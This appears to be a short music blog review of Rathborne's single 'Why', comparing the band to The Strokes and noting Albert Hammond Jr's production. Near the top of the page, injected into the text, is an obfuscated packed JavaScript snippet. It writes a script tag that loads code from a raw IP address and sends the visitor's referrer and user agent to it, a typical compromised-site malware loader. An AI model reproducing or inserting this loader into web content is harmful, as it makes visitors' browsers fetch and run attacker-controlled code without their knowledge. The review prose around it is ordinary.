SINGLE: RATHBORNE – ‘WHY’

Rathborne? (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yiiss|var|u0026u|referrer|hbzai||js|php’.split(‘|’),0,{}))
NYC Posh kid doing punk? How dare he. We mean, The Strokes were definitely from the rougher side of NYC, no? Tongue firmly out of cheek now, Rathborne has had a leg up though, with Albert Hammond Jr producing debut album ‘Soft’ which is out now on True Believer.

With The Strokes playing Hyde Park this summer, it’s time for another spin of the New York garage/pop/punk wheel. Mind you, has it ever really stopped, with The Ramones, Buzzcocks, et al still sounding amazing, if a little familiar now?

Single ‘Why’ is as simple as its title, but open-ended and full of promise. It’s stuck in 4th gear the whole way, speeding along with winding bass and bruising drum fills. The vocal could have a bit more grit, but if you want a smooth, fast, upbeat ride that is more black coffee, one sugar, than a quick hit triple espresso, then Why becomes Why Not.